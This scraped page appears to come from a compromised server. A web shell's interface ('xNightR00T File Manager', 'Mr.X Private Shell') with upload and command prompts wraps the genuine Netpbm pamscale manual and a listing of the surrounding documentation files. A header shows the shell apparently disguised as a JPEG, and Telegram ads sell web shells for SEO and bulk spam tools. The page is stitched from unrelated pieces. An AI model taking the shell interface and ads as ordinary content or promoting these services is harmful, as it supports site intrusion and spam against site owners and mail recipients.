xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML><HEAD><TITLE>Pamscale User Manual</TITLE></HEAD>
<BODY>
<H1>pamscale</H1>
Updated: 29 December 2009
<BR>
<A HREF="#index">Table Of Contents</A>

<H2>NAME</H2>

pamscale - scale a Netpbm image

<H2 id="synopsis">SYNOPSIS</H2>

<pre>
   <B>pamscale</B>
      [ 
         <I>scale_factor</I> 
         |
         {<B>-xyfit</B> | <B>-xyfill</b> | <b>-xysize</b>} <I>cols</i> <i>rows</I> 
         |
         <B>-reduce</B> <I>reduction_factor</I> 
         |
         [<B>-xsize=</B><I>cols</I> | <B>-width=</B><I>cols</I> | <B>-xscale=</B><I>factor</I>]
         [<B>-ysize=</B><I>rows</I> | <B>-height=</B><I>rows</I> | <B>-yscale=</B><I>factor</I>]
         |
         <b>-pixels</B> <I>n</I>
      ]
      [
         [<B>-verbose</b>]
         [
            <b>-nomix</B> 
            |
            <b>-filter=</b><i>functionName</i> [<b>-window=</b>functionName]
         ]
         [<b>-linear</b>]
      }
      [<I>pnmfile</I>]

</pre>

<P>Minimum unique abbreviation of option is acceptable.  You may use
double hyphens instead of single hyphen to denote options.  You may use
white space in place of the equals sign to separate an option name
from its value.

<H2 id="description">DESCRIPTION</H2>

<p>This program is part of <a href="index.html">Netpbm</a>.

<P><b>pamscale</b> scales a Netpbm image by a specified factor, or
scales individually horizontally and vertically by specified factors.

<P>You can either enlarge (scale factor &gt; 1) or reduce (scale factor
&lt; 1).

<p><b>pamscale</b> work on multi-image streams, scaling each one independently.
But before Netpbm 10.49 (December 2009), it scales only the first image and
ignores the rest of the stream.

<h3 id="scalefactor">The Scale Factors</h3>

<p>The options <b>-width</b>, <b>-height</b>, <b>-xsize</b>, <b>-ysize</b>,
<b>-xscale</b>, <b>-yscale</b>, <b>-xyfit</b>, <b>-xyfill</b>, <b>-reduce</b>,
and <b>-pixels</b> control the amount of scaling.  For backward compatibility,
there is also <b>-xysize</b> and the <i>scale_factor</i> argument, but you
shouldn't use those.

<P><b>-width</b> and <b>-height</b> specify the width and height in pixels
you want the resulting image to be.  See below for rules when you specify
one and not the other.

<p><b>-xsize</b> and <b>-ysize</b> are synonyms for <b>-width</b> and
<b>-height</b>, respectively.

<p><b>-xscale</b> and <b>-yscale</b> tell the factor by which you want the
width and height of the image to change from source to result (e.g.
<b>-xscale 2</b> means you want to double the width; <b>-xscale .5</b>
means you want to halve it).  See below for rules when you specify one and
not the other.

<P>When you specify an absolute size or scale factor for both
dimensions, <B>pamscale</B> scales each dimension independently
without consideration of the aspect ratio.

<P>If you specify one dimension as a pixel size and don't specify the
other dimension, <B>pamscale</B> scales the unspecified dimension to
preserve the aspect ratio.

<P>If you specify one dimension as a scale factor and don't specify
the other dimension, <B>pamscale</B> leaves the unspecified dimension
unchanged from the input.

<P>If you specify the <I>scale_factor</I> parameter instead of
dimension options, that is the scale factor for both dimensions.  It
is equivalent to <B>-xscale=</B><I>scale_factor</I><B>
-yscale=</B><I>scale_factor</I>.

<P>Specifying the <B>-reduce</B> <I>reduction_factor</I> option is
equivalent to specifying the <I>scale_factor </I> parameter, where
<I>scale_factor</I> is the reciprocal of <I>reduction_factor</I>.

<P><B>-xyfit</B> specifies a bounding box.  <B>pamscale</B> scales
the input image to the largest size that fits within the box, while
preserving its aspect ratio.  <b>-xysize</b> is a synonym for this.
Before Netpbm 10.20 (January 2004), <b>-xyfit</b> did not exist, but
<b>-xysize</b> did.

<p><b>-xyfill</b> is similar, but <b>pamscale</b> scales the input image
to the smallest size that completely fills the box, while preserving
its aspect ratio.  This option has existed since Netpbm 10.20 (January
2004).

<P><B>-pixels</B> specifies a maximum total number of output pixels.
<B>pamscale</B> scales the image down to that number of pixels.  If
the input image is already no more than that many pixels,
<B>pamscale</B> just copies it as output; <B>pamscale</B> does not
scale up with <B>-pixels</B>.

<P>If you enlarge by a factor of 3 or more, you should probably add a
<I>pnmsmooth</I> step; otherwise, you can see the original pixels in
the resulting image.


<h3 id="usage">Usage Notes</h3>

<P>A useful application of <B>pamscale</B> is to blur an image.  Scale
it down (without <B>-nomix</B>) to discard some information, then
scale it back up using <B>pamstretch</B>.

<P>Or scale it back up with <B>pamscale</B> and create a
&quot;pixelized&quot; image, which is sort of a computer-age version
of blurring.


<h3 id="transparency">Transparency</h3>

<p><b>pamscale</b> understands transparency and properly mixes pixels
considering the pixels' transparency.  

<p>Proper mixing <em>does not</em> mean just mixing the transparency
value and the color component values separately.  In a PAM image, a
pixel which is not opaque represents a color that contains light of
the foreground color indicated explicitly in the PAM and light of a
background color to be named later.  But the numerical scale of a
color component sample in a PAM is as if the pixel is opaque.  So a
pixel that is supposed to contain half-strength red light for the
foreground plus some light from the background has a red color sample
that says <em>full</em> red and a transparency sample that says 50%
opaque.  In order to mix pixels, you have to first convert the color
sample values to numbers that represent amount of light directly
(i.e. multiply by the opaqueness) and after mixing, convert back
(divide by the opaqueness).

<h3 id="imagetype">Input And Output Image Types</h3>

<p><b>pamscale</b> produces output of the same type (and tuple type if
the type is PAM) as the input, except if the input is PBM.  In that
case, the output is PGM with maxval 255.  The purpose of this is to
allow meaningful pixel mixing.  Note that there is no equivalent
exception when the input is PAM.  If the PAM input tuple type is
BLACKANDWHITE, the PAM output tuple type is also BLACKANDWHITE, and
you get no meaningful pixel mixing.

<P>If you want PBM output with PBM input, use <B>pamditherbw</B> to
convert <B>pamscale</B>'s output to PBM.  Also consider
<B>pbmreduce</B>.

<p><b>pamscale</b>'s function is essentially undefined for PAM input
images that are not of tuple type RGB, GRAYSCALE, BLACKANDWHITE, or
the _ALPHA variations of those.  (By standard Netpbm backward compatibility,
this includes PBM, PGM, and PPM images).

<p>You might think it would have an obvious effect on other tuple
types, but remember that the aforementioned tuple types have
gamma-adjusted sample values, and <b>pamscale</b> uses that fact in
its calculations.  And it treats a transparency plane different from any
other plane.

<p><b>pamscale</b> does not simply reject unrecognized tuple types
because there's a possibility that just by coincidence you can get
useful function out of it with some other tuple type and the right
combination of options (consider <b>-linear</b> in particular).


<h3 id="methods">Methods Of Scaling</h3>

<p>There are numerous ways to scale an image.  <b>pamscale</b> implements
a bunch of them; you select among them with invocation options.

<h4 id="mixing">Pixel Mixing</h4>

<p>Pamscale's default method is pixel mixing.  To understand this, imagine the
source image as composed of square tiles.  Each tile is a pixel and has
uniform color.  The tiles are all the same size.  Now take a transparent sheet
the size of the target image, marked with a square grid of tiles the same
size.  Stretch or compress the source image to the size of the sheet and lay
the sheet over the source.

<p>Each cell in the overlay grid stands for a pixel of the target
image.  For example, if you are scaling a 100x200 image up by 1.5, the
source image is 100 x 200 tiles, and the transparent sheet is marked
off in 150 x 300 cells.

<p>Each cell covers parts of multiple tiles.  To make the target image,
just color in each cell with the color which is the average of the colors
the cell covers -- weighted by the amount of that color it covers.  A
cell in our example might cover 4/9 of a blue tile, 2/9 of a red tile,
2/9 of a green tile, and 1/9 of a white tile.  So the target pixel
would be somewhat unsaturated blue.

<p>When you are scaling up or down by an integer, the results are
simple.  When scaling up, pixels get duplicated.  When scaling down,
pixels get thrown away.  In either case, the colors in the target
image are a subset of those in the source image.

<p>When the scale factor is weirder than that, the target image can
have colors that didn't exist in the original.  For example, a red
pixel next to a white pixel in the source might become a red pixel,
a pink pixel, and a white pixel in the target.

<p>This method tends to replicate what the human eye does as it moves
closer to or further away from an image.  It also tends to replicate
what the human eye sees, when far enough away to make the pixelization
disappear, if an image is not made of pixels and simply stretches
or shrinks.

<h4 id="sampling">Discrete Sampling</h4>

<p>Discrete sampling is basically the same thing as pixel mixing except
that, in the model described above, instead of averaging the colors of
the tiles the cell covers, you pick the one color that covers the most
area.

<p>The result you see is that when you enlarge an image, pixels
get duplicated and when you reduce an image, some pixels get discarded.

<p>The advantage of this is that you end up with an image made from the
same color palette as the original.  Sometimes that's important.

<p>The disadvantage is that it distorts the picture.  If you scale up
by 1.5 horizontally, for example, the even numbered input pixels are
doubled in the output and the odd numbered ones are copied singly.  If
you have a bunch of one pixel wide lines in the source, you may find
that some of them stretch to 2 pixels, others remain 1 pixel when you
enlarge.  When you reduce, you may find that some of the lines
disappear completely.

<p>You select discrete sampling with <b>pamscale</b>'s <b>-nomix</b>
option.

<p>Actually, <B>-nomix</b> doesn't do exactly what I described above.
It does the scaling in two passes - first horizontal, then vertical.
This can produce slightly different results.

<p>There is one common case in which one often finds it burdensome to
have <b>pamscale</b> make up colors that weren't there originally:
Where one is working with an image format such as GIF that has a
limited number of possible colors per image.  If you take a GIF with
256 colors, convert it to PPM, scale by .625, and convert back to GIF,
you will probably find that the reduced image has way more than 256
colors, and therefore cannot be converted to GIF.  One way to solve
this problem is to do the reduction with discrete sampling instead of
pixel mixing.  Probably a better way is to do the pixel mixing, but
then color quantize the result with <b>pnmquant</b> before converting
to GIF.

<P>When the scale factor is an integer (which means you're scaling
up), discrete sampling and pixel mixing are identical -- output pixels
are always just N copies of the input pixels.  In this case, though,
consider using <B>pamstretch</B> instead of <B>pamscale</B> to get the
added pixels interpolated instead of just copied and thereby get a
smoother enlargement.

<P><b>pamscale</b>'s discrete sampling is faster than pixel mixing,
but <B>pamenlarge</B> is faster still.  <B>pamenlarge</B> works only
on integer enlargements.

<p>discrete sampling (<b>-nomix</b>) was new in Netpbm 9.24 (January
2002).


<h4 id="resampling">Resampling</h4>

<p>Resampling assumes that the source image is a discrete sampling of some
original continuous image.  That is, it assumes there is some non-pixelized
original image and each pixel of the source image is simply the color of
that image at a particular point.  Those points, naturally, are the
intersections of a square grid.

<p>The idea of resampling is just to compute that original image, then
sample it at a different frequency (a grid of a different scale).

<p>The problem, of course, is that sampling necessarily throws away the
information you need to rebuild the original image.  So we have to make
a bunch of assumptions about the makeup of the original image.

<p>You tell <b>pamscale</b> to use the resampling method by specifying
the <b>-filter</b> option.  The value of this option is the name of a
function, from the set listed below.

<p><strong>To explain resampling, we are going to talk about a simple
one dimensional scaling</strong> -- scaling a single row of grayscale
pixels horizontally.  If you can understand that, you can easily
understand how to do a whole image: Scale each of the rows of the
image, then scale each of the resulting columns.  And scale each of the
color component planes separately.

<p>As a first step in resampling, <b>pamscale</b> converts the source
image, which is a set of discrete pixel values, into a continuous step
function.  A step function is a function whose graph is a staircase-y
thing.

<p>Now, we convolve the step function with a proper scaling of the
filter function that you identified with <b>-filter</b>.  If you don't
know what the mathematical concept of convolution (convolving) is, you
are officially lost.  You cannot understand this explanation.  The
result of this convolution is the imaginary original continuous image
we've been talking about.

<p>Finally, we make target pixels by picking values from that function.

<p>To understand what is going on, we use Fourier analysis:

<p>The idea is that the only difference between our step function and
the original continuous function (remember that we constructed the
step function from the source image, which is itself a sampling of the
original continuous function) is that the step function has a bunch of
high frequency Fourier components added.  If we could chop out all the
higher frequency components of the step function, and know that
they're all higher than any frequency in the original function, we'd
have the original function back.  

<p>The resampling method <em>assumes</em> that the original function
was sampled at a high enough frequency to form a perfect sampling.  A
perfect sampling is one from which you can recover exactly the
original continuous function.  The Nyquist theorem says that as long
as your sample rate is at least twice the highest frequency in your
original function, the sampling is perfect.  So we <em>assume</em>
that the image is a sampling of something whose highest frequency is
half the sample rate (pixel resolution) or less.  Given that, our
filtering does in fact recover the original continuous image from the
samples (pixels).

<p>To chop out all the components above a certain frequency, we just
multiply the Fourier transform of the step function by a rectangle
function.

<p>We could find the Fourier transform of the step function, multiply
it by a rectangle function, and then Fourier transform the result
back, but there's an easier way.  Mathematicians tell us that
multiplying in the frequency domain is equivalent to convolving in the
time domain.  That means multiplying the Fourier transform of F by a
rectangle function R is the same as convolving F with the Fourier
transform of R.  It's a lot better to take the Fourier transform of
R, and build it into <b>pamscale</b> than to have <b>pamscale</b>
take the Fourier transform of the input image dynamically.

<p>That leaves only one question:  What <em>is</em> the Fourier
transform of a rectangle function?  Answer: sinc.  Recall from
math that sinc is defined as sinc(x) = sin(PI*x)/PI*x.

<p>Hence, when you specify <b>-filter=sinc</b>, you are effectively
passing the step function of the source image through a low pass
frequency filter and recovering a good approximation of the original
continuous image.

<h4>Refiltering</h4>

<p>There's another twist: If you simply sample the reconstructed
original continuous image at the new sample rate, and that new sample
rate isn't at least twice the highest frequency in the original
continuous image, you won't get a perfect sampling.  In fact, you'll
get something with ugly aliasing in it.  Note that this can't be a
problem when you're scaling up (increasing the sample rate), because
the fact that the old sample rate was above the Nyquist level means so
is the new one.  But when scaling down, it's a problem.  Obviously,
you have to give up image quality when scaling down, but aliasing is
not the best way to do it.  It's better just to remove high frequency
components from the original continuous image before sampling, and
then get a perfect sampling of that.

<p>Therefore, <b>pamscale</b> filters out frequencies above half the
new sample rate before picking the new samples.

<h4>Approximations</h4>

<p>Unfortunately, <b>pamscale</b> doesn't do the convolution
precisely.  Instead of evaluating the filter function at every point,
it samples it -- assumes that it doesn't change any more often than
the step function does.  <b>pamscale</b> could actually do the true
integration fairly easily.  Since the filter functions are built into
the program, the integrals of them could be too.  Maybe someday it
will.

<p>There is one more complication with the Fourier analysis.  sinc
has nonzero values on out to infinity and minus infinity.  That makes
it hard to compute a convolution with it.  So instead, there are
filter functions that approximate sinc but are nonzero only within a
manageable range.  To get those, you multiply the sinc function by a
<i>window function</i>, which you select with the <b>-window</b>
option.  The same holds for other filter functions that go on forever
like sinc.  By default, for a filter that needs a window function,
the window function is the Blackman function.

<h4>Filter Functions Besides Sinc</h4>

<p>The math described above works only with sinc as the filter
function.  <b>pamscale</b> offers many other filter functions, though.
Some of these approximate sinc and are faster to compute.  For most of
them, I have no idea of the mathematical explanation for them, but
people do find they give pleasing results.  They may not be based on
resampling at all, but just exploit the convolution that is
coincidentally part of a resampling calculation.

<p>For some filter functions, you can tell just by looking at the
convolution how they vary the resampling process from the perfect one
based on sinc:

<p>The impulse filter assumes that the original continuous image is in
fact a step function -- the very one we computed as the first step in
the resampling.  This is mathematically equivalent to the discrete
sampling method.

<p>The box (rectangle) filter assumes the original image is a
piecewise linear function.  Its graph just looks like straight lines
connecting the pixel values.  This is mathematically equivalent to the
pixel mixing method (but mixing brightness, not light intensity, so
like <b>pamscale -linear</b>) when scaling down, and interpolation
(ala <b>pamstretch</b>) when scaling up.

<h4>Gamma</h4>

<p><b>pamscale</b> assumes the underlying continuous function is a
function of brightness (as opposed to light intensity), and therefore
does all this math using the gamma-adjusted numbers found in a PNM or
PAM image.  The <b>-linear</b> option is not available with resampling
(it causes <b>pamscale</b> to fail), because it wouldn't be useful enough
to justify the implementation effort.

<p>Resampling (<b>-filter</b>) was new in Netpbm 10.20 (January 2004).

<h4>The filter functions</h4>

<p>Here is a list of the function names you can specify for the
<b>-filter</b> option.  For most of them, you're on your own to figure
out just what the function is and what kind of scaling it does.  These
are common functions from mathematics.

<dl>
<dt>point
<dd>The graph of this is a single point at X=0, Y=1.

<dt>box

<dd>The graph of this is a rectangle sitting on the X axis and centered
on the Y axis with height 1 and base 1.

<dt>triangle

<dd>The graph of this is an isosceles triangle sitting on the X axis
and centered on the Y axis with height 1 and base 2.

<dt>quadratic
<dt>cubic
<dt>catrom
<dt>mitchell
<dt>gauss
<dt>sinc
<dt>bessel
<dt>hanning
<dt>hamming
<dt>blackman
<dt>kaiser
<dt>normal
<dt>hermite
<dt>lanczos
<dd>Not documented</dd>
</dl>


<H3 id="linear">Linear vs Gamma-adjusted</H3>

<p>The pixel mixing scaling method described above involves intensities
of pixels (more precisely, it involves individual intensities of
primary color components of pixels).  But the PNM and PNM-equivalent
PAM image formats represent intensities with gamma-adjusted numbers
that are not linearly proportional to intensity.  So <b>pamscale</b>,
by default, performs a calculation on each sample read from its input
and each sample written to its output to convert between these
gamma-adjusted numbers and internal intensity-proportional numbers.

<p>Sometimes you are not working with true PNM or PAM images, but
rather a variation in which the sample values are in fact directly
proportional to intensity.  If so, use the <b>-linear</b> option to
tell <b>pamscale</b> this.  <b>pamscale</B> then will skip the
conversions.

<p>The conversion takes time.  In one experiment, it increased by a factor of
10 the time required to reduce an image.  And the difference between
intensity-proportional values and gamma-adjusted values may be small enough
that you would barely see a difference in the result if you just pretended
that the gamma-adjusted values were in fact intensity-proportional.  So just
to save time, at the expense of some image quality, you can specify
<b>-linear</b> even when you have true PPM input and expect true PPM output.

<p>For the first 13 years of Netpbm's life, until Netpbm 10.20
(January 2004), <b>pamscale</b>'s predecessor <b>pnmscale</b> always
treated the PPM samples as intensity-proportional even though they
were not, and drew few complaints.  So using <b>-linear</b> as a lie
is a reasonable thing to do if speed is important to you.  But if
speed is important, you also should consider the <b>-nomix</b> option
and <b>pnmscalefixed</b>.

<p>Another technique to consider is to convert your PNM image to the
linear variation with <b>pnmgamma</b>, run <b>pamscale</b> on it and
other transformations that like linear PNM, and then convert it back
to true PNM with <b>pnmgamma -ungamma</b>.  <b>pnmgamma</b> is often
faster than <b>pamscale</b> in doing the conversion.

<p>With <b>-nomix</b>, <b>-linear</b> has no effect.  That's because
<b>pamscale</b> does not concern itself with the meaning of the sample
values in this method; <b>pamscale</b> just copies numbers from its
input to its output.


<H3 id="precision">Precision</H3>

<P><B>pamscale</B> uses floating point arithmetic internally.  There
is a speed cost associated with this.  For some images, you can get
the acceptable results (in fact, sometimes identical results) faster
with <B>pnmscalefixed</B>, which uses fixed point arithmetic.
<B>pnmscalefixed</B> may, however, distort your image a little.  See
the <B>pnmscalefixed</B> user manual for a complete discussion of the
difference.

<H2 id="seealso">SEE ALSO</H2>

<B><A HREF="pnmscalefixed.html">pnmscalefixed</A></B>,
<B><A HREF="pamstretch.html">pamstretch</A></B>,
<B><A HREF="pamditherbw.html">pamditherbw</A></B>,
<B><A HREF="pbmreduce.html">pbmreduce</A></B>,
<B><A HREF="pbmpscale.html">pbmpscale</A></B>,
<B><A HREF="pamenlarge.html">pamenlarge</A></B>,
<B><A HREF="pnmsmooth.html">pnmsmooth</A></B>,
<B><A HREF="pamcut.html">pamcut</A></B>,
<B><A HREF="pnmgamma.html">pnmgamma</A></B>,
<B><A HREF="pnmscale.html">pnmscale</A></B>,
<B><A HREF="pnm.html">pnm</A></B>,
<B><A HREF="pam.html">pam</A></B>

<H2 id="history">HISTORY</H2>

<p><b>pamscale</b> was new in Netpbm 10.20 (January 2004).  It was
adapted from, and obsoleted, <b>pnmscale</b>.  <b>pamscale</b>'s
primary difference from <b>pnmscale</b> is that it handles the PAM
format and uses the "pam" facilities of the Netpbm programming
library.  But it also added the resampling class of scaling method.
Furthermore, it properly does its pixel mixing arithmetic (by default)
using intensity-proportional values instead of the gamma-adjusted
values the <b>pnmscale</b> uses.  To get the old <b>pnmscale</b>
arithmetic, you can specify the <b>-linear</b> option.

<p>The intensity proportional stuff came out of suggestions by <a
href="mailto://amc+j5luho+@nicemice.net">Adam M Costello</a> in January
2004.

<p>The resampling algorithms are mostly taken from code contributed by
<a href="mailto://reinelt@eunet.at">Michael Reinelt</a> in December 2003.

<p>The version of <b>pnmscale</b> from which <b>pamscale</b> was
derived, itself evolved out of the original Pbmplus version of
<b>pnmscale</b> by Jef Poskanzer (1989, 1991).  But none of that
original code remains.

<HR>
<H2 id="index">Table Of Contents</H2>
<UL>
  <LI><A HREF="#synopsis">SYNOPSIS</A>
  <LI><A HREF="#description">DESCRIPTION</A>
  <UL>
    <LI><A HREF="#scalefactor">The Scale Factors</a>
    <LI><A HREF="#usage">Usage Notes</a>
    <LI><A HREF="#transparency">Transparency</a>
    <LI><A HREF="#imagetype">Input And Output Image Types</a>
    <LI><A HREF="#methods">Methods Of Scaling</a>
    <UL>
      <LI><A HREF="#mixing">Pixel Mixing</a>
      <LI><A HREF="#sampling">Discrete Sampling</a>
      <LI><A HREF="#resampling">Resampling</a>
      </UL>
    <LI><A HREF="#linear">Linear vs Gamma-adjusted</a>
    <LI><A HREF="#precision">Precision</A>
    </UL>
  <LI><A HREF="#seealso">SEE ALSO</A>  
  <LI><A HREF="#history">HISTORY</A>  
  </UL>

</BODY>
</HTML>

Filemanager

Name Type Size Permission Actions
411toppm.html File 1.76 KB 0644
anytopnm.html File 2.56 KB 0644
asciitopgm.html File 2.98 KB 0644
atktopbm.html File 945 B 0644
avstopam.html File 1.41 KB 0644
bioradtopgm.html File 1.43 KB 0644
blend1.gif File 18.25 KB 0644
blend3.gif File 21.23 KB 0644
blend4.gif File 24.56 KB 0644
blend6.gif File 21.87 KB 0644
blend7.gif File 26.28 KB 0644
bmptopnm.html File 2.16 KB 0644
bmptoppm.html File 562 B 0644
brushtopbm.html File 953 B 0644
cameratopam.html File 5.21 KB 0644
cistopbm.html File 1.36 KB 0644
cmuwmtopbm.html File 945 B 0644
ddbugtopbm.html File 3.22 KB 0644
directory.html File 34.32 KB 0644
escp2topbm.html File 2.21 KB 0644
extendedopacity.html File 6.7 KB 0644
eyuvtoppm.html File 1.1 KB 0644
faxformat.html File 3.66 KB 0644
fiascotopnm.html File 6.19 KB 0644
fitstopnm.html File 3.64 KB 0644
fstopgm.html File 1.95 KB 0644
g3topbm.html File 4.95 KB 0644
gemtopbm.html File 512 B 0644
gemtopnm.html File 1.38 KB 0644
giftopnm.html File 7.65 KB 0644
globe.jpg File 14.04 KB 0644
gobot.gif File 1.37 KB 0644
gouldtoppm.html File 911 B 0644
hdifftopam.html File 1.5 KB 0644
hipstopgm.html File 1.03 KB 0644
hpcdtoppm.html File 11.18 KB 0644
icontopbm.html File 1.2 KB 0644
ilbmtoppm.html File 3.29 KB 0644
imgtoppm.html File 1.03 KB 0644
index.html File 43.78 KB 0644
infotopam.html File 6.52 KB 0644
jbigtopnm.html File 3.91 KB 0644
jpeg2ktopam.html File 5.3 KB 0644
jpegtopnm.html File 12.51 KB 0644
leaftoppm.html File 1.1 KB 0644
liberror.html File 8.46 KB 0644
libmaketmpfile.html File 2.43 KB 0644
libmaketmpfilefd.html File 1.72 KB 0644
libnetpbm.html File 3.55 KB 0644
libnetpbm_dir.html File 9.03 KB 0644
libnetpbm_draw.html File 4.22 KB 0644
libnetpbm_image.html File 23.35 KB 0644
libnetpbm_ug.html File 11.12 KB 0644
libpbm.html File 9.43 KB 0644
libpgm.html File 7.71 KB 0644
libpm.html File 16.81 KB 0644
libpnm.html File 9.94 KB 0644
libppm.html File 26.71 KB 0644
libsystem.html File 14.36 KB 0644
libtmpfile.html File 1.71 KB 0644
libtmpfilefd.html File 1.3 KB 0644
lispmtopgm.html File 1.94 KB 0644
macptopbm.html File 1.87 KB 0644
mdatopbm.html File 1.61 KB 0644
mgrtopbm.html File 1.03 KB 0644
mrf.html File 4.3 KB 0644
mrftopbm.html File 1.54 KB 0644
mtvtoppm.html File 1.04 KB 0644
neotoppm.html File 1.18 KB 0644
palmtopnm.html File 3.54 KB 0644
pam.html File 12.22 KB 0644
pamaddnoise.html File 3.96 KB 0644
pamarith.html File 10.92 KB 0644
pambackground.html File 4.85 KB 0644
pambayer.html File 3.54 KB 0644
pamchannel.html File 2.7 KB 0644
pamcomp.html File 14.3 KB 0644
pamcut.html File 6.69 KB 0644
pamdeinterlace.html File 2.52 KB 0644
pamdepth.html File 2.47 KB 0644
pamdice.html File 4.52 KB 0644
pamditherbw.html File 6.62 KB 0644
pamedge.html File 2.24 KB 0644
pamendian.html File 2.55 KB 0644
pamenlarge.html File 3.22 KB 0644
pamexec.html File 3.15 KB 0644
pamfile.html File 2.93 KB 0644
pamfix.html File 4.7 KB 0644
pamfixtrunc.html File 1.51 KB 0644
pamflip.html File 8.43 KB 0644
pamfunc.html File 11.29 KB 0644
pamgauss.html File 3.7 KB 0644
pamgradient.html File 2.92 KB 0644
pamlookup.html File 9.54 KB 0644
pammasksharpen.html File 4.62 KB 0644
pammixinterlace.html File 3.1 KB 0644
pammosaicknit.html File 3.23 KB 0644
pamoil.html File 2.36 KB 0644
pampaintspill.html File 5.21 KB 0644
pamperspective.html File 17.28 KB 0644
pampick.html File 2.35 KB 0644
pampop9.html File 2.4 KB 0644
pamrecolor.html File 8.69 KB 0644
pamrgbatopng.html File 2.26 KB 0644
pamrubber.html File 6.43 KB 0644
pamscale.html File 25.42 KB 0644
pamseq.html File 2.77 KB 0644
pamsharpmap.html File 2.38 KB 0644
pamsharpness.html File 1.77 KB 0644
pamsistoaglyph.html File 6.65 KB 0644
pamslice.html File 4.06 KB 0644
pamsplit.html File 2.93 KB 0644
pamstack.html File 3.41 KB 0644
pamstereogram.html File 16.52 KB 0644
pamstretch-gen.html File 1.62 KB 0644
pamstretch.html File 3.72 KB 0644
pamsumm.html File 3.72 KB 0644
pamsummcol.html File 4.1 KB 0644
pamthreshold.html File 6.42 KB 0644
pamtilt.html File 4.53 KB 0644
pamtoavs.html File 1.8 KB 0644
pamtodjvurle.html File 1.78 KB 0644
pamtofits.html File 3.94 KB 0644
pamtogif.html File 13.13 KB 0644
pamtohdiff.html File 3.32 KB 0644
pamtohtmltbl.html File 2.71 KB 0644
pamtojpeg2k.html File 9.38 KB 0644
pamtompfont.html File 2.07 KB 0644
pamtooctaveimg.html File 3.21 KB 0644
pamtopam.html File 1.67 KB 0644
pamtopdbimg.html File 2.6 KB 0644
pamtopfm.html File 3.1 KB 0644
pamtopnm.html File 3.22 KB 0644
pamtosrf.html File 2.68 KB 0644
pamtosvg.html File 7.07 KB 0644
pamtotga.html File 4.42 KB 0644
pamtotiff.html File 23.6 KB 0644
pamtouil.html File 2.5 KB 0644
pamtowinicon.html File 5.02 KB 0644
pamtoxvmini.html File 1.09 KB 0644
pamundice.html File 6.94 KB 0644
pamvalidate.html File 2.19 KB 0644
pamwipeout.html File 3.08 KB 0644
pamx.html File 8.25 KB 0644
pbm.html File 6.58 KB 0644
pbmclean.html File 5.12 KB 0644
pbmlife.html File 1 KB 0644
pbmmake.html File 1.32 KB 0644
pbmmask.html File 2.89 KB 0644
pbmminkowski.html File 529 B 0644
pbmpage.html File 2.75 KB 0644
pbmpscale.html File 1.74 KB 0644
pbmreduce.html File 2.29 KB 0644
pbmtext.html File 13.69 KB 0644
pbmtextps.html File 3.46 KB 0644
pbmto10x.html File 1.37 KB 0644
pbmto4425.html File 1.75 KB 0644
pbmtoascii.html File 1.92 KB 0644
pbmtoatk.html File 934 B 0644
pbmtobbnbg.html File 1.32 KB 0644
pbmtocis.html File 1.49 KB 0644
pbmtocmuwm.html File 1.03 KB 0644
pbmtodjvurle.html File 1.18 KB 0644
pbmtoepsi.html File 3.24 KB 0644
pbmtoepson.html File 3.11 KB 0644
pbmtoescp2.html File 3.94 KB 0644
pbmtog3.html File 2.24 KB 0644
pbmtogem.html File 1.16 KB 0644
pbmtogo.html File 1.24 KB 0644
pbmtoibm23xx.html File 2.31 KB 0644
pbmtoicon.html File 1.2 KB 0644
pbmtolj.html File 3.34 KB 0644
pbmtoln03.html File 1.45 KB 0644
pbmtolps.html File 1.48 KB 0644
pbmtomacp.html File 1.81 KB 0644
pbmtomda.html File 1.75 KB 0644
pbmtomgr.html File 1.03 KB 0644
pbmtomrf.html File 1.4 KB 0644
pbmtonokia.html File 3.28 KB 0644
pbmtopgm.html File 2.47 KB 0644
pbmtopi3.html File 1.11 KB 0644
pbmtopk.html File 4.3 KB 0644
pbmtoplot.html File 1.06 KB 0644
pbmtoppa.html File 9.66 KB 0644
pbmtopsg3.html File 1.8 KB 0644
pbmtoptx.html File 1.05 KB 0644
pbmtosunicon.html File 1.02 KB 0644
pbmtowbmp.html File 1.32 KB 0644
pbmtox10bm.html File 759 B 0644
pbmtoxbm.html File 1.49 KB 0644
pbmtoybm.html File 1.13 KB 0644
pbmtozinc.html File 1.11 KB 0644
pbmupc.html File 1.91 KB 0644
pc1toppm.html File 1.13 KB 0644
pcdovtoppm.html File 2.32 KB 0644
pcxtoppm.html File 2.27 KB 0644
pdbimgtopam.html File 1.78 KB 0644
pfm.html File 3.28 KB 0644
pfmtopam.html File 1.89 KB 0644
pgm.html File 7.65 KB 0644
pgmabel.html File 3.27 KB 0644
pgmbentley.html File 1.14 KB 0644
pgmcrater.html File 7.02 KB 0644
pgmdeshadow.html File 1.89 KB 0644
pgmedge.html File 504 B 0644
pgmenhance.html File 1.53 KB 0644
pgmhist.html File 4.41 KB 0644
pgmkernel.html File 3.48 KB 0644
pgmmake.html File 1.72 KB 0644
pgmmedian.html File 3.62 KB 0644
pgmminkowski.html File 3.48 KB 0644
pgmmorphconv.html File 3.87 KB 0644
pgmnoise.html File 2 KB 0644
pgmnorm.html File 504 B 0644
pgmoil.html File 492 B 0644
pgmramp.html File 3.24 KB 0644
pgmslice.html File 478 B 0644
pgmtexture.html File 1.98 KB 0644
pgmtofs.html File 1.08 KB 0644
pgmtolispm.html File 1.81 KB 0644
pgmtopbm.html File 1.69 KB 0644
pgmtopgm.html File 1.64 KB 0644
pgmtoppm.html File 4.08 KB 0644
pi1toppm.html File 1.17 KB 0644
pi3topbm.html File 1.12 KB 0644
picttoppm.html File 5.25 KB 0644
